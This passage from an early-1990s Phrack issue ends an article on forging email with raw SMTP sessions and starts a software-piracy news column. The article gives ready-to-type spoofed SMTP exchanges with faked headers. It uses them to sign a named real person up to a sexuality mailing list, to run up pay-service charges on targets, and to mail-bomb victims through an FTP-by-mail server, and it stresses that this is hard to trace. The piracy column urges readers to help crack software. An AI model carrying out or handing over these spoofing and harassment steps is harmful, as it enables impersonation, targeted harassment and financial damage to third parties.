- Date: Thu, 06 Feb 92 12:00:00
- Title: *wave* Hello, No Such Agency dude!
-
- NIST sucks. Say "hi" to your kid for me from all of us at Phrack!
-
- Likewise, if you try to create a message without an information line, your
- message would look something like this:
-
- From: rack@lycaeum.hfc.com
- Received: by dockmaster.ncsc.mil (5.12/3.7) id AA10000; Thu, 6 Feb 92 12:00:00
- -0500
- Message-Id: <666.AA10000@dockmaster.ncsc.mil>
- Date: Thu, 06 Feb 92 12:00:00
- Apparently-to: RMorris@dockmaster.ncsc.mil
-
- NIST sucks. Say "hi" to your kid for me from all of us at Phrack!
-
- Basically, this looks pretty obvious that it's fakemail, not because I
- altered the numbers necessarily, but because it doesn't have a title line, it
- doesn't have the "Date:" in the right place, and because the "Apparently-to:"
- designation was on.
-
- To create the "realistic" e-mail, you would enter:
-
- helo lycaeum.hfc.com
- mail from: <rack@lycaeum.hfc.com>
- rcpt to: <RMorris@docmaster.ncsc.mil>
- data
- To: RMorris@dockmaster.ncsc.mil>
- Date: Thu, 06 Feb 92 12:00:00
- Title: *wave* Hello, No Such Agency dude!
-
- NIST sucks. Say "hi" to your kid for me from all of us at Phrack!
- .
-
- Notice that, even though you are in "data" mode, you are still giving
- commands to sendmail. All of the lines can (even if only partially) be altered
- through the data command. This is perfect for sending good fakemail. For
- example:
-
- helo lycaeum.hfc.com
- mail from: <dale@opus.tymnet.com>
- rcpt to: <listserv@brownvm.brown.edu>
- data
- Received: by lycaeum.hfc.com (5.12/3.7) id AA11891; Thu 6 Feb 92 12:00:00
- Message-Id: <230.AA11891@lycaeum.hfc.com>
- To: <listserv@brownvm.brown.edu>
- Date: Thu, 06 Feb 92 12:00:00
- Title: Ohh, sign me up Puuuleeeze.
-
- subscribe BISEXU-L Dale "Fist Me" Drew
- .
-
- Now, according to this e-mail path, you are telling the other computer
- that you received this letter from OPUS.TYMNET.COM, and it is being forwarded
- by your machine to BROWNVM.BROWN.EDU. Basically, you are stepping into the
- middle of the line and claiming you've been waiting there all this time. This
- is a legit method of sending e-mail!
-
- Originally, when sendmail was less automated, you had to list every
- computer that your mail had to move between in order for it to arrive. If you
- were computer ALPHA, you'd have to send e-mail to account "joe" on computer
- GAMMA by this address:
-
- mail to: <beta!ceti!delta!epsilon!freddy!gamma!joe>
-
- Notice that the account name goes last and the host names "lead" up to
- that account. The e-mail will be routed directly to each machine until it
- finally reaches GAMMA. This is still required today, especially between
- networks like Internet and Bitnet -- where certain hosts are capable of sending
- mail between networks. This particular style of sending e-mail is called "UUCP
- Style" routing.
-
- Sometimes, hosts will use the forwarding UUCP style mail addresses in case
- the host has no concept of how to deal with a name address. Your machine
- simply routes the e-mail to a second host which is capable of resolving the
- rest of the name. Although these machines are going out of style, they still
- exist.
-
- The third reasonable case of where e-mail will be routed between hosts is
- when, instead of having each computer waste individual time dealing with each
- piece of e-mail that comes about, the computer gives the mail to a dedicated
- mailserver which will then deliver the mail. This is quite common all over the
- network -- especially due to the fact that the Internet is only a few T1 lines
- in comparison to the multitude of 9600 and 14.4K baud modems that everyone is
- so protective of people over-using. Of course, this doesn't cause the address
- to be in UUCP format, but when it reaches the other end of the network, it'll
- be impossible to tell what method the letter used to get sent.
-
- Okay, now we can send fairly reasonable electronic fakemail. This stuff
- can't easily be distinguished between regular e-mail unless you either really
- botched it up (say, sending fakemail between two people on the same machine by
- way of 4 national hosts or something) or really had bad timing.
-
- Let's now discuss the POWER of fakemail. Fakemail itself is basically a
- great way to fool people into thinking you are someone else. You could try to
- social engineer information out of people on a machine by fakemail, but at the
- same time, why not just hack the root password and use "root" to do it? This
- way you can get the reply to the mail as well. It doesn't seem reasonable to
- social engineer anything while you are root either. Who knows. Maybe a really
- great opportunity will pop up some day -- but until then, let's forget about
- dealing person-to-person with fakemail, and instead deal with
- person-to-machine.
-
- There are many places on the Internet that respond to received electronic
- mail automatically. You have all of the Archie sites that will respond, all of
- the Internet/Bitnet LISTSERVs, and Bitmail FTP servers. Actually, there are
- several other servers, too, such as the diplomacy adjudicator. Unfortunately,
- this isn't anywhere nearly as annoying as what you can do with other servers.
-
- First, let's cover LISTSERVs. As you saw above, I created a fakemail
- message that would sign up Mr. Dale Drew to the BISEXU-L LISTSERV. This means
- that any of the "netnews" regarding bisexual behavior on the Internet would be
- sent directly to his mailbox. He would be on this list (which is public and
- accessible by anyone) and likewise be assumed to be a member of the network
- bisexual community.
-
- This fakemail message would go all the way to the LISTSERV, it would
- register Mr. Dictator for the BISEXU-L list, >DISCARD< my message, and, because
- it thinks that Dale Drew sent the message, it will go ahead and sign him up to
- receive all the bisexual information on the network.
-
- And people wonder why I don't even give out my e-mail address.
-
- The complete list of all groups on the Internet is available in the file
- "list_of_lists" which is available almost everywhere so poke around
- wuarchive.wustl.edu or ftp.uu.net until you find it. You'll notice that there
- are several groups that are quite fanatic and would freak out nearly anybody
- who was suddenly signed up to one.
-
- Ever notice how big mega-companies like IBM squelch little people who try
- to make copies of their ideas? Even though you cannot "patent" an "idea,"
- folks like IBM want you to believe they can. They send their "brute" squad of
- cheap lawyers to "legal-fee-to-death" small firms. If you wanted to
- "nickel-and-dime" someone out of existence, try considering the following:
-
- CompuServe is now taking electronic mail from the Internet. This is good.
- CompuServe charges for wasting too much of their drive space with stored
- e-mail. This is bad. You can really freak out someone you don't like on
- CompuServe by signing them up to the Dungeons and Dragons list, complete with
- several megabytes of fluff per day. This is cool. They will then get charged
- hefty fines by CompuServe. That is fucked up. How the hell could they know?
-
- CompuServe e-mail addresses are userid@compuserve.com, but as the Internet
- users realize, they can't send commas (",") as e-mail paths. Therefore, use a
- period in place of every comma. If your e-mail address was 767,04821 on
- CompuServe then it would be 767.04821 for the Internet. CompuServe tends to
- "chop" most of the message headers that Internet creates out of the mail before
- it reaches the end user. This makes them particularly vulnerable to fakemail.
-
- You'll have to check with your individual pay services, but I believe such
- groups as MCI Mail also have time limitations. Your typical non-Internet-
- knowing schmuck would never figure out how to sign off of some God-awful fluff
- contained LISTSERV such as the Advanced Dungeons & Dragons list. The amount of
- damage you could cause in monetary value alone to an account would be
- horrendous.
-
- Some groups charge for connection time to the Internet -- admittedly, the
- fees are reasonable -- I've seen the price at about $2 per hour for
- communications. However, late at night, you could cause massive e-mail traffic
- on some poor sap's line that they might not catch. They don't have a way to
- shut this off, so they are basically screwed. Be WARY, though -- this sabotage
- could land you in deep shit. It isn't actually fraud, but it could be
- considered "unauthorized usage of equipment" and could get you a serious fine.
- However, if you are good enough, you won't get caught and the poor fucks will
- have to pay the fees themselves!
-
- Now let's investigate short-term VOLUME damage to an e-mail address.
- There are several anonymous FTP sites that exist out there with a service known
- as BIT FTP. This means that a user from Bitnet, or one who just has e-mail and
- no other network services, can still download files off of an FTP site. The
- "help" file on this is stored in Appendix C, regarding the usage of Digital's
- FTP mail server.
-
- Basically, if you wanted to fool the FTP Mail Server into bombarding some
- poor slob with an ungodly huge amount of mail, try doing a regular "fakemail"
- on the guy, with the enclosed message packet:
-
- helo lycaeum.hfc.com
- mail from: <dale@opus.tymnet.com>
- rcpt to: <ftpmail@decwrl.dec.com>
- data
- Received: by lycaeum.hfc.com (5.12/3.7) id AA10992; Fri 9 Oct 92 12:00:00
- Message-Id: <230.AA11891@lycaeum.hfc.com>
- To: <listserv@brownvm.brown.edu>
- Date: Fri, 09 Oct 92 12:00:00
- Title: Hey, I don't have THAT nifty program!
-
- reply dale@opus.tymnet.com
- connect wuarchive.wustl.edu anonymous fistme@opus.tymnet.com
- binary
- get mirrors/gnu/gcc-2.3.2.tar.Z
- quit
- .
-
- What is particularly nasty about this is that somewhere between 15 and
- 20 megabytes of messages are going to be dumped into this poor guy's account.
- All of the files will be uuencoded and broken down into separate messages!
- Instead of deleting just one file, there will be literally hundreds of messages
- to delete! Obnoxious! Nearly impossible to trace, too!
-
-
- Part 2: E-MAIL AROUND THE WORLD
-
- Captain Crunch happened to make a telephone call around the world, which
- could have ushered in the age of phreak enlightenment -- after all, he proved
- that, through the telephone, you could "touch someone" anywhere you wanted
- around the world! Billions of people could be contacted.
-
- I undoubtedly pissed off a great number of people trying to do this e-mail
- trick -- having gotten automated complaints from many hosts. Apparently, every
- country has some form of NSA. This doesn't surprise me at all, I'm just
- somewhat amazed that entire HOSTS were disconnected during the times I used
- them for routers. Fortunately, I was able to switch computers faster than they
- were able to disconnect them.
-
- In order to send the e-mail, I couldn't send it through a direct path.
- What I had to do was execute UUCP style routing, meaning I told each host in
- the path to send the e-mail to the next host in the path, etc., until the last
- machine was done. Unfortunately, the first machine I used for sending the
- e-mail had a remarkably efficient router and resolved the fact that the target
- was indeed the destination. Therefore, I re-altered the path to a machine
- sitting about, oh, two feet away from it. Those two feet are meaningless in
- this epic journey.
-
- The originating host names have been altered as to conceal my identity.
- However, if we ever meet at a Con, I'll probably have the real print-out of the
- results somewhere and you can verify its authenticity. Regardless, most of
- this same shit will work from just about any typical college campus Internet
- (and even Bitnet) connected machines.
-
- In APPENDIX A, I've compiled a list of every foreign country that I could
- locate on the Internet. I figured it was relatively important to keep with the
- global program and pick a series of hosts to route through that would
- presumably require relatively short hops. I did this by using this list and
- trial and error (most of this information was procured from the Network
- Information Center, even though they deliberately went way the hell out of
- their way to make it difficult to get computers associated with foreign
- countries).
-
- My ultimate choice of a path was:
-
- lycaeum.hfc.com -- Origin, "middle" America.
- albert.gnu.ai.mit.edu -- Massachusetts, USA.
- isgate.is -- Iceland
- chenas.inria.fr -- France
- icnucevx.cnuce.cn.it -- Italy
- sangram.ncst.ernet.in -- India
- waseda-mail.waseda.ac.jp -- Japan
- seattleu.edu -- Seattle
- inferno.hfc.com -- Ultimate Destination
-
- The e-mail address came out to be:
-
- isgate.is!chenas.inria.fr!icnucevx.cnuce.cn.it!sangram.ncst.ernet.in!
- waseda-mail.waseda.ac.jp!seattleu.edu!inferno.hfc.com!
- rack@albert.gnu.ai.mit.edu
-
- ...meaning, first e-mail albert.gnu.ai.mit.edu, and let it parse the name
- down a line, going to Iceland, then to France, etc. until it finally reaches
- the last host on the list before the name, which is the Inferno, and deposits
- the e-mail at rack@inferno.hfc.com.
-
- This takes a LONG time, folks. Every failure toward the end took on
- average of 8-10 hours before the e-mail was returned to me with the failure
- message. In one case, in fact, the e-mail made it shore to shore and then came
- all the way back because it couldn't resolve the last hostname! That one made
- it (distance-wise) all the way around the world and half again.
-
- Here is the final e-mail that I received (with dates, times, and numbers
- altered to squelch any attempt to track me):
-
- Return-Path: <rack@lycaeum.hfc.com>
- Received: from sumax.seattleu.edu [192.48.211.120] by Lyceaum.HFC.Com ; 19 Dec
- 92 16:23:21 MST
- Received: from waseda-mail.waseda.ac.jp by sumax.seattleu.edu with SMTP id
- AA28431 (5.65a/IDA-1.4.2 for rack@inferno.hfc.com); Sat, 19 Dec 92
- 14:26:01 -0800
- Received: from relay2.UU.NET by waseda-mail.waseda.ac.jp (5.67+1.6W/2.8Wb)
- id AA28431; Sun, 20 Dec 92 07:24:04 JST
- Return-Path: <rack@lycaeum.hfc.com>
- Received: from uunet.uu.net (via LOCALHOST.UU.NET) by relay2.UU.NET with SMTP
- (5.61/UUNET-internet-primary) id AA28431; Sat, 19 Dec 92 17:24:08 -0500
- Received: from sangam.UUCP by uunet.uu.net with UUCP/RMAIL
- (queueing-rmail) id 182330.3000; Sat, 19 Dec 1992 17:23:30 EST
- Received: by sangam.ncst.ernet.in (4.1/SMI-4.1-MHS-7.0)
- id AA28431; Sun, 20 Dec 92 03:50:19 IST
- From: rack@lycaeum.hfc.com
- Received: from shakti.ncst.ernet.in by saathi.ncst.ernet.in (5.61/Ultrix3.0-C)
- id AA28431; Sun, 20 Dec 92 03:52:12 +0530
- Received: from saathi.ncst.ernet.in by shakti.ncst.ernet.in with SMTP
- (16.6/16.2) id AA09700; Sun, 20 Dec 92 03:51:37 +0530
- Received: by saathi.ncst.ernet.in (5.61/Ultrix3.0-C)
- id AA28431; Sun, 20 Dec 92 03:52:09 +0530
- Received: by sangam.ncst.ernet.in (4.1/SMI-4.1-MHS-7.0)
- id AA28431; Sun, 20 Dec 92 03:48:24 IST
- Received: from ICNUCEVX.CNUCE.CNR.IT by relay1.UU.NET with SMTP
- (5.61/UUNET-internet-primary) id AA28431; Sat, 19 Dec 92 17:20:23 -0500
- Received: from chenas.inria.fr by ICNUCEVX.CNUCE.CNR.IT (PMDF #2961 ) id
- <01GSIP122UOW000FBT@ICNUCEVX.CNUCE.CNR.IT>; Sun, 19 Dec 1992 23:14:29 MET
- Received: from isgate.is by chenas.inria.fr (5.65c8d/92.02.29) via Fnet-EUnet
- id AA28431; Sun, 19 Dec 1992 23:19:58 +0100 (MET)
- Received: from albert.gnu.ai.mit.edu by isgate.is (5.65c8/ISnet/14-10-91); Sat,
- 19 Dec 1992 22:19:50 GMT
- Received: from lycaeum.hfc.com by albert.gnu.ai.mit.edu (5.65/4.0) with
- SMTP id <AA28431@albert.gnu.ai.mit.edu>; Sat, 19 Dec 92 17:19:36 -0500
- Received: by lycaeum.hfc.com (5.65/4.0) id <AA11368@lycaeum.hfc.com>;
- Sat, 19 Dec 92 17:19:51 -0501
- Date: 19 Dec 1992 17:19:50 -0500 (EST)
- Subject: Global E-Mail
- To: rack@inferno.hfc.com
- Message-id: <9212192666.AA11368@lycaeum.hfc.com>
- Mime-Version: 1.0
- Content-Type: text/plain; charset=US-ASCII
- Content-Transfer-Encoding: 7bit
- X-Mailer: ELM [version 2.4 PL5]
- Content-Length: 94
- X-Charset: ASCII
- X-Char-Esc: 29
-
- This Electronic Mail has been completely around the world!
-
- (and isn't even a chain letter.)
-
- ===============================================================================
-
- APPENDIX A:
-
- List of Countries on the Internet by Root Domain
-
- (I tried to get a single mail router in each domain. The domains that don't
- have them are unavailable at my security clearance. The computer is your
- friend.)
-
- .AQ New Zealand
- .AR Argentina atina.ar
- .AT Austria pythia.eduz.univie.ac.at
- .BB Barbados
- .BE Belgium ub4b.buug.be
- .BG Bulgaria
- .BO Bolivia unbol.bo
- .BR Brazil fpsp.fapesp.br
- .BS Bahamas
- .BZ Belize
- .CA Canada cs.ucb.ca
- .CH Switzerland switch.ch
- .CL Chile uchdcc.uchile.cl
- .CN China ica.beijing.canet.cn
- .CR Costa Rica huracan.cr
- .CU Cuba
- .DE Germany deins.informatik.uni-dortmund.de
- .DK Denmark dkuug.dk
- .EC Ecuador ecuanex.ec
- .EE Estonia kbfi.ee
- .EG Egypt
- .FI Finland funet.fi
- .FJ Fiji
- .FR France inria.inria.fr
- .GB England
- .GR Greece csi.forth.gr
- .HK Hong Kong hp9000.csc.cuhk.hk
- .HU Hungary sztaki.hu
- .IE Ireland nova.ucd.ie
- .IL Israel relay.huji.ac.il
- .IN India shakti.ernet.in
- .IS Iceland isgate.is
- .IT Italy deccnaf.infn.it
- .JM Jamaica
- .JP Japan jp-gate.wide.ad.jp
- .KR South Korea kum.kaist.ac.kr
- .LK Sri Lanka cse.mrt.ac.lk
- .LT Lithuania ma-mii.lt.su
- .LV Latvia
- .MX Mexico mtec1.mty.itesm.mx
- .MY Malaysia rangkom.my
- .NA Namibia
- .NI Nicaragua uni.ni
- .NL Netherlands sering.cwi.nl
- .NO Norway ifi.uio.no
- .NZ New Zealand waikato.ac.nz
- .PE Peru desco.pe
- .PG New Guinea ee.unitech.ac.pg
- .PH Philippines
- .PK Pakistan
- .PL Poland
- .PR Puerto Rico sun386-gauss.pr
- .PT Portugal ptifm2.ifm.rccn.pt
- .PY Paraguay ledip.py
- .SE Sweden sunic.sunet.se
- .SG Singapore nuscc.nus.sg
- .TH Thailand
- .TN Tunisia spiky.rsinet.tn
- .TR Turkey
- .TT Trinidad & Tobago
- .TW Taiwan twnmoe10.edu.tw
- .UK United Kingdom ess.cs.ucl.ac.uk
- .US United States isi.edu
- .UY Uruguay seciu.uy
- .VE Venezuela
- .ZA South Africa hippo.ru.ac.za
- .ZW Zimbabwe zimbix.uz.zw
-
- ===============================================================================
-
- APPENDIX B:
-
- Basic SMTP Commands
-
- HELO <hostname> Tells mail daemon what machine is calling. This will
- be determined anyway, so omission doesn't mean
- anonymity.
-
- MAIL FROM: <path> Tells where the mail came from.
-
- RCPT TO: <path> Tells where the mail is going.
-
- DATA Command to start transmitting message.
-
- QUIT Quit mail daemon, disconnects socket.
-
- NOOP No Operation -- used for delays.
-
- HELP Gives list of commands -- sometimes disabled.
-
- VRFY Verifies if a path is valid on that machine.
-
- TICK Number of "ticks" from connection to present ("0001"
- is a typical straight connection).
-
- ===============================================================================
-
- APPENDIX C:
-
- BIT-FTP Help File
-
- ftpmail@decwrl.dec.com (Digital FTP mail server)
-
- Commands are:
- reply <MAILADDR> Set reply address since headers are usually
- wrong.
- connect [HOST [USER [PASS]]] Defaults to gatekeeper.dec.com, anonymous.
- ascii Files grabbed are printable ASCII.
- binary Files grabbed are compressed or tar or both.
- compress Compress binaries using Lempel-Ziv encoding.
- compact Compress binaries using Huffman encoding.
- uuencode Binary files will be mailed in uuencoded
- format.
- btoa Binary files will be mailed in btoa format.
- ls (or dir) PLACE Short (long) directory listing.
- get FILE Get a file and have it mailed to you.
- quit Terminate script, ignore rest of mail message
- (use if you have a .signature or are a
- VMSMAIL user).
-
- Notes:
- -> You must give a "connect" command (default host is gatekeeper.dec.com,
- default user is anonymous, default password is your mail address).
- -> Binary files will not be compressed unless "compress" or "compact"
- command is given; use this if at all possible, it helps a lot.
- -> Binary files will always be formatted into printable ASCII with "btoa" or
- "uuencode" (default is "btoa").
- -> All retrieved files will be split into 60KB chunks and mailed.
- -> VMS/DOS/Mac versions of uudecode, atob, compress and compact are
- available, ask your LOCAL wizard about them.
- -> It will take ~1-1/2 day for a request to be processed. Once the jobs has
- been accepted by the FTP daemon, you'll get a mail stating the fact that
- your job has been accepted and that the result will be mailed to you.
- _______________________________________________________________________________
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 5 of 13
-
- Pirates Cove
-
- By Rambone
-
-
- Welcome back to Pirates Cove. News about software piracy, its effects, and the
- efforts of the software companies to put and end to it are now at an all time
- high. Additionally, there is an added interest among the popular media towards
- the other goings-on in the piracy underworld. Additionally over the past few
- months there have been several major crackdowns around the world. Not all of
- the news is terribly recent, but a lot of people probably didn't hear about it
- at the time so read on and enjoy.
-
- If you appreciate this column in Phrack, then also be sure to send a letter to
- "phracksub@stormking.com" and let them know. Thanks.
- _______________________________________________________________________________
-
- More Than $100,000 In Illegal Software Seized
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- WASHINGTON -- (BUSINESS WIRE) -- Illegal software valued in excess of $100,000
- was seized from an electronic bulletin board computer system (BBS)
- headquartered in Baltimore, Maryland, marking the first U.S. case for the
- Business Software Alliance (BSA) against a BBS for pirating software.
-
- The BSA previously initiated an enforcement campaign against illegal bulletin
- boards in Europe and is investigating illegal boards in Asia. As part of the
- U.S. seizure, more than $25,000 worth of hardware was confiscated in accordance
- with the court order, and the BBS, known as the APL, is no longer in operation.
-
- Investigations conducted over the past several months found that, through the
- APL BBS, thousands of illegal copies have been made of various software
- programs. Plaintiffs in the case include six business software publishers:
- ALDUS, Autodesk, LOTUS Development, MICROSOFT, NOVELL, and WordPerfect. The
- action against APL was for allegedly allowing BBS users to upload and download
- copyrighted programs.
-
- Nearly 500 software programs were available for copying through the APL BBS, an
- infringement of software publishers' copyright. In addition, BSA seized APL's
- business records which detail members' time on the BBS and programs uploaded
- and/or copied. BSA is currently reviewing these records for possible
- additional legal action against system users who may have illegally uploaded or
- downloaded copyrighted programs.
-
- "Electronic bulletin boards create increasingly difficult problems in our
- efforts to combat piracy," according to Robert Holleyman, president of the BSA.
- "While bulletin boards are useful tools to enhance communication channels, they
- also provide easy access for users to illegally copy software," Holleyman
- explained.
-
- Strict federal regulations prohibit the reproduction of copyrighted software.
- Legislation passed this year by the U.S. Congress contains provisions to
- increase the penalties against copyright infringers to up to five years
- imprisonment and a $250,000 fine.
-
- The APL investigation, conducted by Software Security International on behalf
- of the BSA, concluded with a raid by Federal Marshals on October 1, 1992. In
- addition to the six business software publishers, the BSA action was taken on
- behalf of Nintendo.
-
- Bulletin boards have grown in popularity over the past several years, totaling
- approximately 2000 in the United States alone. Through a modem, bulletin board
- users can easily communicate with other members. The BSA has recently stepped
- up its worldwide efforts to eradicate the illegal copying of software which
- occurs on some boards.
-
- The BSA is an organization devoted to combating software theft. Its worldwide
- campaign encompasses education, public policy, and enforcement programs in more
- than 30 countries. The members of the BSA include: ALDUS, APPLE COMPUTER,
- Autodesk, LOTUS Development, MICROSOFT, NOVELL, and WordPerfect.
-
- The BSA operates an Anti-piracy Hotline (800-688-2721) for callers seeking
- information about software piracy or to report suspected incidents of software
- theft.
-
- CONTACT: Diane Smiroldo, Business Software Alliance, (202)727-7060
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Only The Beginning
- ~~~~~~~~~~~~~~~~~~
- The bust of APL BBS had made unprecedented impacts in the pirate world because
- of the implications behind the actual arrest. Business Software Alliance
- (BSA), representing many major business software companies along with Nintendo,
- joined forces to hit APL very hard. They joined forces to permanently shut
- down APL and are, for the first time, trying to pursue the users that had an
- active role in the usage of the BBS.
-
- Trying to figure out who had uploaded and downloaded files through this BBS and
- taking legal recourse against them is a very strong action and has never been
- done before. One of the major problem I see with this is how do they know if
- what the records show was the actual user or someone posing as another user?
- Also, how could they prove that an actual program was downloaded by an actual
- user and not by someone else using his account? What if one user had logged on
- one time, never called back, and someone else had hacked their account? I'm
- also sure a sysop has been known, on occasion, to "doctor" someone's account to
- not allow them to download when they have been leeching.
-
- The points I bring up are valid as far as I am concerned and unless the Secret
- Service had logs and phone numbers of people actually logged on at the time, I
- don't see how they have a case. I'm sure they have a great case against the
- sysop and will pursue the case to the highest degree of the law, but if they
- attempt to arrest users, I foresee the taxpayers' money going straight down the
- drain.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- BSA Hits Europe
- ~~~~~~~~~~~~~~~
- The Business Software Alliance reached their arms out across the Atlantic and
- landed in Germany. Along with Interpol and the local police, they proceeded to
- take down 80% of the boards in Berlin. One of the contributing factors in
- these busts was that the majority of the boards busted were also involved in
- toll fraud. Until recently, blue boxing was the predominate means of
- communication with the United States and other countries in Europe. When most
- of these sysops were arrested, they had been actively blue boxing on a regular
- basis. Unfortunately, many parts of Germany had already upgraded their phone
- system, and it became very risky to use a blue box. It didn't stop most people
- and they soon became easy targets for Interpol. The other means of LD usage
- for Germans was AT&T calling cards which now are very common. The local police
- along with the phone company gathered months of evidence before the city wide
- sweep of arrests.
-
- The busts made a bigger impact in Europe than anyone would have imagined. Some
- of the bigger boards in Europe have been taken down by the sysops and many will
- never go back up. Many sysops have been arrested and fined large amounts of
- money that they will be paying off for a long time. BSA, along with local
- police and Interpol, has done enough damage in a few days that will change
- European Boards for a long time.
- _______________________________________________________________________________
-
- IBM: Free Disks For The Taking
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- In a vain effort to increase sales, IBM decided to send out 21 high density
- diskettes to anyone who called. On these diskettes was a new beta copy of OS/2
- Version 2.1. They were hoping to take a cheap way out by sending a few out to
- people who would install it and send in beta reports. What they got was
- thousands of people calling in when they heard the word who were promptly Fed
- Ex'ed the disks overnight. The beta was not the concern of most, just the
- diskettes that were in the package. The actual beta copy that was sent out was
- bug ridden anyway and was not of use on most systems.
-
- When IBM finally woke up and figured out what was going on, they had already
- sent out thousands of copies. Some even requested multiple copies. IBM then
- proceeded to charge for the shipment and disks, but it was way too late, and
- they had gone over budget. Way to go IBM, no wonder your stock has plummeted
- to $55 a share.
- _______________________________________________________________________________
-
- Users Strike Back At U.S. Robotics
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Since 1987, U.S. Robotics (USR) has been a standard among sysops and many end
- users. With the loyal following also came terrible customer service and long
- delays in shipments. Their modems, being in as much demand as they are, soon
- showed the results of shortcuts in the manufacture of certain parts in some of
- the more popular modems. The most infamous instance of this happening was the
- Sportster model which was a V.32bis modem which could be bought at a much lower
- price than that of the Dual Standard. The catch was that they cut some corners
- and used that same communication board for both the Sportster and the Dual
- Standard. They assumed they could save money by using the same board on both
- modems. Boy were they wrong.
-
- All that was done to the Sportster was to disable the HST protocol that would
- make it into a Dual. With the proper init string, one could turn a Sportster,
- ROM version 4.1, into a full Dual in the matter of seconds and have spent 1/3
- of the price of a full Dual Standard.
-
- This outraged USR when they found out. They first denied that it could be
- done. When they found out that it had gotten too wide-spread and could not be
- stopped, they then proceeded to tell the public it was a copyright infringement
- to use the "bogus" init string and threatened to sue anyone who attempted to
- use it. Most people laughed at that idea and continued to use it while giving
- "the bird" to USR. Some vendors are now even trying to make a buck and sell
- Sportsters at a higher price, and some are even selling them as Duals.
-
- Obviously, they have now discontinued making the Sportsters the cheap way and
- are now making two separate boards for both modems. The versions with the ROM
- 4.1 are still floating around, can be found almost anywhere, and will always
- have the capabilities to be run as a full Dual. Better watch out though. The
- USR police might come knocking on your door <g>.
- _______________________________________________________________________________
-
- Warez Da Scene?
- ~~~~~~~~~~~~~~~
- Over the last 6 months there have been several changing of hands in the major
- pirate groups. One person who supplies them has bounced to 3 groups in the
- last four months. One group fell apart because of a lack of support from the
- major members, but is making a valiant comeback. And yet another has almost
- split into two like AT&T stock. We'll have to see what comes of that.
-
- While only about 15% or so actually doing anything for the scene, the other 85%
- seem to complain and bitch. Either the crack doesn't work or someone forgot to
- put in the volume labels. Jesus, how much effort does it take to say, "Hey,
- thanks for putting this out, but...". The time and effort it takes to acquire
- the program, check to see if it needs to be cracked, package it, and have it
- sent out to the boards is time- and money-consuming and gets very little
- appreciation by the majority of the users around the world.
-
- Why not see some users send in donations to the group for the appreciation it
- takes to send the files out? Why not see more users volunteer to help courier
- the programs around? Help crack them? Make some cheats, or type of some docs?
- Be a part of the solution instead of the problem. It would create less
- headaches and gain more respect from the members who take the time and effort
- to make this all possible.
- _______________________________________________________________________________
-
- Review Of The Month
- ~~~~~~~~~~~~~~~~~~~
- I usually type up a review of the best program I have seen since the last
- issue, but since I was so disappointed with this game, I have to say something
- about it.
-
-
- ___________________________________________________________________________
- | |
- | RELEASE INFORMATION |
- |___________________________________________________________________________|
- | |
- | Supplied by : ACTION MAN & MUNCHIE ...................................... |
- | Cracked by : HARD CORE ................................................. |
- | Protection : Easy Password ............................................. |
- | Date : 16th December 1992 (Still 14 days left!) .................. |
- | Graphics : ALL ....................................................... |
- | Sound : ALL ....................................................... |
- | Game Size : 5 1.44Mb disks , Installation from floppies ............... |
- |___________________________________________________________________________|
-
-
- One of the most awaited games of the year showed up at my doorstep, just
- itching to be installed: F15-]I[. I couldn't wait to get this installed on
- the hard drive and didn't care how much space it took up. I was informed
- during installation that the intro would take up over 2 megs of hard drive
- space, but I didn't care. I wanted to see it all. Once I booted it and saw
- the intro, I thought the game would be the best I had seen. Too bad the other
- 8 megs turned out to be a waste of hard drive space.
-
- I started out in fast mode, getting right up in the skies. Too bad that's the
- only thing on the screen that I could recognize. Zooming down towards the
- coast, I noticed that it looked damn close to the land and, in fact, it might
- as well have been. The ocean consist of powder blue dots and had almost the
- same color consistency as the land. Not finding anything in the air to shoot
- at, I proceeded to shoot a missile at anything that I thought would blow up.
- This turned out to be just about everything, including bridges. Let a few
- gunshots loose on one and see a large fireworks display like you dropped a
- nuclear bomb on it.
-
- Close to 3 hours later, I finally found a jet, got it into my sights and shot 3
- missiles at it. A large explosion, another one, and then he flew past me
- without even a dent showing. I shot my last 2 at it, same result. Thus my
- conclusion: the Russians must have invincible planes. Either that or F-15 ]I[
- has some major bugs. I'll take a wild guess and say, hmm, bugs.
-
- This game is not worth the box it comes in and I would not suggest anyone,
- outside of a blind person, from purchasing this. I hate ratings but I'll give
- it a 2/10. The 2 is for modem play, which is not bad, but not good enough.
- _______________________________________________________________________________
-
- Piracy's Illegal, But Not The Scourge It's Cracked Up To Be August 9, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- By T.R. Reid and Brit Hume (Chicago Tribune)(Page 7)
-
- The software industry has embarked on one of its periodic public relations
- campaigns to get people to believe it's being robbed blind by software pirates.
- Even The New York Times took the claims seriously and ran a front-page story
- illustrated by a picture of a cheerful computer hacker wearing a Hawaiian shirt
- sitting in his basement surrounded by PCs and awash in piles of disks, many of
- them containing bootleg programs.
-
- With a straight face, the Times reported the industry's claim that in 1990, the
- last year for which figures are available, programs worth $2.4 billion were
- pirated, an amount equal to nearly half the industry's total sales of $5.7
- billion. In fact, the software industry has no way of knowing how much it lost
- to illegal copying, but the $2.4 billion figure is almost certainly rot.
- Here's why.
-
- It is true that it's a snap to make an "illegal" copy of a computer program and
- equally true that the practice is rampant. You just put a disk in the drive,
- issue the copy command, and the computer does the rest.
-
- But there is simply no way the software industry can estimate accurately how
- many illegal copies there are, and even if it could, it couldn't possibly
- determine how many of them represent lost sales. It does not follow that every
- time somebody makes a bootleg copy, the industry loses a sale. That would be
- true only if the software pirate would have paid for the program had he or she
- not been able to get it for free.
-
- Indeed, some of those illegal copies undoubtedly lead to actual sales. Once
- users try a program, particularly a full-scale application such as a word
- processor or database, and like it, they may decide they need the instruction
- book and want to be able to phone for help in using the program.
-
- The only way to get those things is to buy the software. If that sounds
- pie-in-the-sky, consider that an entire branch of the industry has developed
- around just that process. It's called shareware -- software that is offered
- free to try. If you like it, you are asked to buy it. In return, you get a
- bound manual and telephone support.
-
- The word processor with which this column was written, PC-Write, is such a
- program. So is the telecommunications program by which it was filed, ProComm.
- These programs were both developed by talented independent software developers
- who took advantage of the unprecedented opportunity the personal computer
- provided them. All they needed was a PC, a desk, a text editor and a special
